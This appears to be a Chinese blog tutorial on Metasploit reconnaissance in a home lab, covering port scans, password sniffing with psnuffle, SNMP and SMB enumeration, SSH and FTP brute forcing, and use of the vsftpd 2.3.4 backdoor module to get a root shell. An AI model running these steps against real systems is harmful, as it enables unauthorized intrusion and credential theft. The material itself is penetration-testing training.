• 08、Metasploit渗透测试之信息收集


    本文章所讲内容:

    8.1 基于 TCP 协议收集主机信息
    8.2 基于 SNMP 协议收集主机信息
    8.3 基于 SMB 协议收集信息
    8.4 基于 SSH 协议收集信息
    8.5 基于 FTP 协议收集信息
    8.1 基于 tcp 协议收集主机信息

    我们前面学习了主动信息收集和被动信息收集,而且还学习了漏洞检测工具 NESSUS,接下来给大家讲解使用 Metasploit 来对目标进行信息收集,这个过程包含了前面所有的方式以及多了一些更加极端的获取信息方式 ,比如获取服务器的硬件信息,系统用户信息、进程信息等。

    8.1.1 使用 Metasploit 中的 nmap 和 arp_sweep 收集主机信息

    Metasploit 中也有 NMAP 工具

    msfconsole
    db_nmap -sV 192.168.42.138
    
    • 1
    • 2

    在这里插入图片描述

    ARP 扫描

    use auxiliary/scanner/discovery/arp_sweep
    
    • 1

    查看一下模块需要配置哪些参数

    show options
    
    • 1

    在这里插入图片描述

    配置 RHOSTS(扫描的目标网络)即可

    set RHOSTS 192.168.42.0/24
    
    • 1

    SHOST 和 SMAC 是伪造源 IP 和 MAC 地址使用的。

    配置线程数

    set THREADS 30
    run
    
    • 1
    • 2

    在这里插入图片描述

    扫描一整个网段,判断那个主机是存活的

    back    #退出一下
    
    • 1

    在这里插入图片描述

    8.1.2 使用半连接方式扫描 TCP 端口
    search portscan
    
    • 1

    在这里插入图片描述

    这些我们前面就学习过的 TCP 扫描相关内容,其他的是一些应用的扫描。

    use auxiliary/scanner/portscan/syn
    
    • 1

    查看配置项

    use auxiliary/scanner/portscan/syn
    show options
    
    • 1
    • 2

    设置扫描的目标

    set RHOSTS 192.168.42.138
    
    • 1

    设置端口范围使用逗号隔开

    set PORTS 80
    
    • 1

    设置线程数

    set THREADS 20
    run
    
    • 1
    • 2

    在这里插入图片描述

    8.1.3 使用 auxiliary /sniffer 下的 psnuffle 模块进行密码嗅探

    实验拓扑图:

    在这里插入图片描述

    只要成功登录靶机,psnuffle就会监听到输入的密码

    search psnuffle
    use auxiliary/sniffer/psnuffle
    
    • 1
    • 2

    在这里插入图片描述

    查看 psnuffle 的模块作用:

    info
    
    • 1

    在这里插入图片描述

    Description:
    This module sniffs passwords like dsniff did in the past #这个 psnuffle 模块可以像以前的 dsniff 命令一样,去嗅探密码,只支持 pop3、imap、ftp、HTTP GET 协议。
    扩展:Dsniff 是一个著名的网络嗅探工具包、高级口令嗅探工具、综合性的网络嗅探工具包。

    show options
    run
    
    • 1
    • 2

    在这里插入图片描述

    新建一个终端窗口登录 ftp,Metasploitable2-Linux 靶机中已经开启了 ftp 服务可以直接登录。

    apt install lftp -y #安装 lftp 命令
    lftp -u msfadmin 192.168.42.138
    
    • 1
    • 2

    密码:msfadmin
    连接成功后,进行下数据交互,查看 ftp 目录下的文件

    ls
    
    • 1

    回到 MSF 终端可以看到用户名密码信息已经被获取。

    在这里插入图片描述

    嗅探完成后记得把后台任务关闭

    jobs #查看后台运行的任务
    
    • 1
    kill 0 #kill job 的 ID,关闭 job
    
    • 1

    在这里插入图片描述

    8.2 基于 SNMP 协议收集主机信息

    简单网络管理协议(SNMP,Simple Network Management Protocol),由一组网络管理的标准组成,包含一个应用层协议(application layer protocol)、数据库模型(database schema)和一组资源对象。该协议能够支持网络管理系统,用以监测连接到网络上的设备是否有任何引起管理上关注的情况。
    我们使用 root 用户先到 Metasploitable2-Linux 主机上修改一下 SNMP 服务,因为默认服务是不对外开放的。

    vim /etc/default/snmpd
    
    • 1

    改第 11 行

    SNMPDOPTS='-Lsd -Lf /dev/null -u snmp -I -smux -p /var/run/snmpd.pid 127.0.0.1'
    为:
    SNMPDOPTS='-Lsd -Lf /dev/null -u snmp -I -smux -p /var/run/snmpd.pid 0.0.0.0'
    
    • 1
    • 2
    • 3

    保存退出
    重启 SNMP 服务

    sudo /etc/init.d/snmpd restart
    
    • 1

    确认服务监听正常

    netstat -antup | grep 161
    
    • 1

    在这里插入图片描述

    实战-使用 snmp_enum 模块通过 snmp 协议扫描目标服务器信息

    use auxiliary/scanner/snmp/snmp_enum
    show options
    set RHOSTS 192.168.42.138
    run
    
    • 1
    • 2
    • 3
    • 4

    在这里插入图片描述

    注:可以看到通过 snmp 协议探测到的信息非常多。如服务器硬件信息和服务器当前运行的进程,这两方面是其他扫描方式,可能获取不到的。

    8.3 基于 SMB 协议收集信息

    SMB 概述:服务器消息块(Server Message Block,缩写为 SMB),又称网络文件共享系统(Common Internet File System,缩写为 CIFS),一种应用层网络传输协议,由微软开发,主要功能是使网络上的机器能够共享计算机文件、打印机、串行端口和通讯等资源。
    经过 Unix 服务器厂商重新开发后,它可以用于连接 Unix 服务器和 Windows 客户机,执行打印和文件共享等任务。

    8.3.1 使用 smb_version 基于 SMB 协议扫描版本号
    use auxiliary/scanner/smb/smb_version
    
    • 1

    设置扫描目标,注意多个目标使用逗号+空格隔开

    show options
    
    • 1

    #设置

    set RHOSTS 192.168.42.138, 192.168.42.137
    
    • 1

    注: 192.168.42.138 后面的逗号和 192.168.42.137 之间是有空格的

    run
    
    • 1

    在这里插入图片描述

    注:可以扫描出来操作系统的版本号,版本号很准确。

    8.3.2 使用 smb_enumshares 基于 SMB 协议扫共享文件(账号、密码)

    SMB 的模块中基本上都是可以配置用户名和密码的,配置了用户名和密码某些模块扫描的结果会更满足我们的需求。
    我们到 Windows 中启用一下共享服务。
    新建文件夹 shantu 并进入该文件夹。

    在这里插入图片描述

    在这里插入图片描述

    在这里插入图片描述

    在这里插入图片描述

    枚举共享

    use auxiliary/scanner/smb/smb_enumshares
    show options
    
    • 1
    • 2

    扫描 192.168.42.135 到 192.168.42.137 的机器

    set RHOSTS 192.168.42.137
    
    • 1

    在这里插入图片描述

    如果你不配置用户,就扫描不到信息。配置一下用户信息,我这里用户是默认的管理员用户,密码为hacker1961。

    set SMBUser administrator
    set SMBPass hacker1961
    run
    
    • 1
    • 2
    • 3

    在这里插入图片描述

    可以看到有 1 个是我们前面设置的 shantu 共享文件目录还有 4 个是隐藏的共享目录。

    8.3.3 使用 smb_lookupsid 扫描系统用户信息(SID 枚举)

    我们在 Win7 上新建一个 shantu 用户。密码也是 123456。

    右键计算机→管理→本地用户和组→用户 ,在空白处,右击新建一个用户

    在这里插入图片描述

    用户 shantu 密码: 123456

    在这里插入图片描述

    把用户下次登录时须更改密码,给勾选掉,勾选上,我红色框框里面的

    注:SID 是 Windows 中每一个用户的 ID,更改用户名 SID 也是不会改变的。

    use auxiliary/scanner/smb/smb_lookupsid
    show options
    set RHOSTS 192.168.42.137
    set SMBUser administrator
    set SMBPass hacker1961
    run
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6

    在这里插入图片描述

    在这里插入图片描述

    重在操作和过程,以及理解通过这些协议怎么去信息收集,信息收集可以获取那些信息

    我们之前学的是主动信息收集和被动信息收集,都是web方面的信息收集,我们今天讲的是系统、主机、服务器的信息收集

    一个好的渗透测试,是要把信息收集给完全了,不要他给你一个主站,你就光打一个主站,这样就没得玩了,这么多的协议收集,不指定开那个,万一开了ssh协议,我们可以利用一下,有没有相关漏洞,比如开了snmp或者开了TCP,都可以去扫一扫,尽可能详细的信息收集,才能有利于你们接下来漏洞利用,如何去发现这个漏洞,有版本出现那个漏洞、验证漏洞,扫描漏洞,然后利用这个漏洞去攻击,处理后事

    8.4 基于 SSH 协议收集信息
    8.4.1 查看 ssh 服务的版本信息

    获取版本信息,是为了查找这个版本有没有漏洞,通过ssh或者其它协议,进行信息收集,发现这个版本可能存在漏洞,然后我们可以去找相应的模块,进行一波测试

    use auxiliary/scanner/ssh/ssh_version
    show options
    set RHOSTS 192.168.42.138
    run
    
    • 1
    • 2
    • 3
    • 4

    在这里插入图片描述

    8.4.2 对 SSH 暴力破解

    查看一下metersploit自带的字典

    cd /usr/share/metasploit-framework/data/wordlists/
    ls
    
    • 1
    • 2

    在这里插入图片描述

    这里有tomcat、http、oracel自带的字典密码

    use auxiliary/scanner/ssh/ssh_login
    show options
    set RHOSTS 192.168.42.138
    
    • 1
    • 2
    • 3

    在这里插入图片描述

    设置字典文件默认的字典文件是不满足实际需求的,后期我们使用更强大的字典文件。

    set USERPASS_FILE /usr/share/metasploit-framework/data/wordlists/root_userpass.txt
    
    • 1

    在这里插入图片描述

    因为字典文件中不包含我们的用户密码信息我们把自己的密码信息手动加入进去以便展示效果
    新开一个终端窗口

    echo "msfadmin msfadmin" >> /usr/share/metasploit-framework/data/wordlists/root_userpass.txt
    
    • 1

    在这里插入图片描述

    回到 MSF 终端

    run
    
    • 1

    在这里插入图片描述

    因为我们是在文件的最后添加的,所以前面的都是失败的操作。

    暴力破解又叫枚举测试,直到跑出正确密码为止

    8.5 基于 FTP 协议收集信息
    8.5.1 查看 ftp 服务的版本信息

    加载 ftp 服务版本扫描模块

    use auxiliary/scanner/ftp/ftp_version
    
    • 1

    查看设置参数

    show options
    
    • 1

    设置目标 IP,可以设置多个

    set RHOSTS 192.168.42.138
    
    • 1

    执行扫描,输入 exploit 或 run

    run
    
    • 1

    扫描出结果是:vsFTPd 2.3.4

    back
    
    • 1

    在这里插入图片描述

    扫描出 ftp 服务的版本号,我们可以尝试搜索版本号,看看有没有可以利用的模块

    search 2.3.4
    
    • 1

    或者搜索 vsftpd

    search vsftpd
    
    • 1

    在这里插入图片描述

    我们发现存在一个 exploit 模块,而且这个版本的 ftp 服务存在一个后门

    我们尝试利用下这个模块

    use exploit/unix/ftp/vsftpd_234_backdoor
    show options
    
    • 1
    • 2
    set RHOSTS 192.168.42.138
    run
    
    • 1
    • 2

    在这里插入图片描述

    拿到了 shell,而且是 root 权限,我们尝试执行下命令
    执行 id 命令, 查看当前用户

    执行 ifconfig 命令,查看 IP 地址

    在这里插入图片描述

    如何去探测版本号,利用这个版本号,找相对应的漏洞,然后利用这个漏洞进行攻击,不存在在进行其它的信息收集

    8.5.2 ftp 匿名登录扫描

    暴力破解不提倡,因为这是个蛮撞行为,在走投无路的情况下,可以尝试,毕竟暴力破解太费资源、时间

    use auxiliary/scanner/ftp/anonymous
    show options
    
    • 1
    • 2
    set RHOSTS 192.168.42.138
    run
    
    • 1
    • 2

    在这里插入图片描述

    使用模块,查看配置,设置,run

    8.5.3 ftp 暴力破解
    use auxiliary/scanner/ftp/ftp_login
    show options
    
    • 1
    • 2
    set RHOSTS 192.168.42.138
    
    • 1

    在这里插入图片描述

    设置字典文件默认的字典文件是不满足实际需求的后期我们使用更强大的字典文件。

    set USERPASS_FILE /usr/share/metasploit-framework/data/wordlists/root_userpass.txt
    
    • 1

    因为字典文件中不包含我们的用户密码信息我们把自己的密码信息手动加入进去以便展示效果
    新开一个终端窗口

    echo "msfadmin msfadmin" >> /usr/share/metasploit-framework/data/wordlists/root_userpass.txt
    
    • 1

    回到 MSF 终端

    run
    
    • 1

    在这里插入图片描述

    在这里插入图片描述

    因为我们是在文件的最后添加的,所以前面的都是失败的操作。

    像这种大规模的暴力破解,早就被发现了,这要是一个服务器,被这样强行的打、测试,早就开始拉警报了,封IP都是小事,开始溯源了

    对版本进行收集,查看是否有相关的漏洞,进行对应漏洞的攻击,利用这个漏洞去获取shell

    CTF得先有自身的基础,payload类似一个后门,他得先跟目标主机建立连接,通过这个连接去反弹一个shell,具体的payload,要根据我们进攻的渗透的主机来判断,比如他用安卓的,就用安卓的payload,linux的就用linux的payload

  • 相关阅读:
    循环神经网络RNN完全解析:从基础理论到PyTorch实战
    springboot时间管理系统springboot47
    Swift 5.9 有哪些新特性(一)
    辩证性在需求面前毫无逻辑
    数字电路基础_门电路
    springboot集成mysql、mybatis-plus、shardingsphere-jdbc实现水平分表
    11. GIT 分支管理
    第十七章《MySQL数据库及SQL语言简介》第4节:数据库表管理
    软件源码开发,网络中的“摄像头”:运维监控系统
    SpringCache--缓存框架 ----苍穹外卖day7
  • 原文地址:https://blog.csdn.net/m0_53008479/article/details/126699896